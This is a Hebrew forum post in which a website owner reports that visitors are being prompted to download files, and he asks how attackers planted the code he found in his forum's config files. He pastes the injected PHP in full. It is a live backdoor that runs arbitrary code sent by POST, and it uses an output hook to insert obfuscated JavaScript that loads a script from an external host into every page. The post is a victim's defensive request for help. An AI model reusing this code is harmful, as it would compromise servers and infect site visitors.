שלום לכם.
לאחרונה גולשי האתר שלי הודיעו לי מספר פעמים שקיים אצלי וירוס באתר, שמבקש מהם להוריד כל פעם סוג קובץ אחר.
בדקתי את העניין, ומצאתי סקריפט שהושתל אצלי, וכל פעם הוא נראה קצת שונה.
זהו הקוד שהושתל במערכת הפורומים שלי:
קוד:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbih0KXtldmFsKHVuZXNjYXBlKCgnPDc2YTw3MjwyMGE8M2Q8MjJTPDYzPDcyPDY5PDcwPDc0RW5nPDY5bmU8MjI8MmNiPDNkPDIyVjw2NXJzaW9uPDI4KSs8MjI8MmNqPDNkPDIyPDIyPDJjdTwzZG48NjE8NzZpZ2F0b3I8MmV1czw2NTw3MkFnPDY1PDZlPDc0PDNiaWY8MjgoPDc1PDJlaTw2ZWRleDw0ZmYoPDIyV2luPDIyKTwzZTApPDI2PDI2KHU8MmVpbmRleDw0ZmYoPDIyPDRlVDwyMDY8MjIpPDNjMCk8MjY8MjY8MjhkPDZmY3VtZW50PDJlY29vazw2OWU8MmVpbjw2NDw2NXhPZig8MjJtPDY5ZWs8M2QxPDIyKTwzYzApPDI2PDI2KHR5PDcwZW9mKHpydjw3YXRzKTwyMTwzZHR5PDcwZW9mKDwyMkE8MjI8MjkpKTw3Ynpydnp0czwzZDwyMkE8MjI8M2JlPDc2YWwoPDIyPDY5ZjwyOHdpbmRvdzwyZTwyMithKzwyMilqPDNkais8MjIrYSs8MjJNYTw2YW88NzI8MjIrYis8NjErPDIyPDRkaTw2ZW88NzI8MjIrYjwyYmErPDIyQnU8NjlsZDwyMitiKzwyMmo8M2I8MjIpPDNiZG88NjN1bTw2NW50PDJld3JpdGUoPDIyPDNjc2NyaTw3MHQ8MjBzcmM8M2Q8MmY8MmZndW1iPDZjYXI8MmVjbjwyZnJzczwyZjwzZjw2OWQ8M2Q8MjIrPDZhKzwyMjwzZTwzYzw1YzwyZnNjcmk8NzA8NzQ8M2U8MjIpPDNiPDdkJykucmVwbGFjZSh0LCclJykpKX0pKC88L2cpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
אותו קוד הושתל גם באתר אחר שלי.
עכשיו ככה, שני האתרים האלה מאוחסנים על אותו VPS בחשבונות שונים, אבל כנראה זה הועבר בדרך כלשהי לשאל הקבצים בשרת. (ולא כל הקבצים נדבקים בזה, רק חלקם, כמו קבצי הגדרות config).
*אני לא מבקש תמיכה במערכת מוכנה, אני מבקש לדעת אם אתם מכירים את הקוד או הדרך בה השתילו לי אותו, בכדי שאוכל לחסום את זה.
תודה מראש.
עריכה: יכול להיות שהוא הושתל דרך טופס או משהו?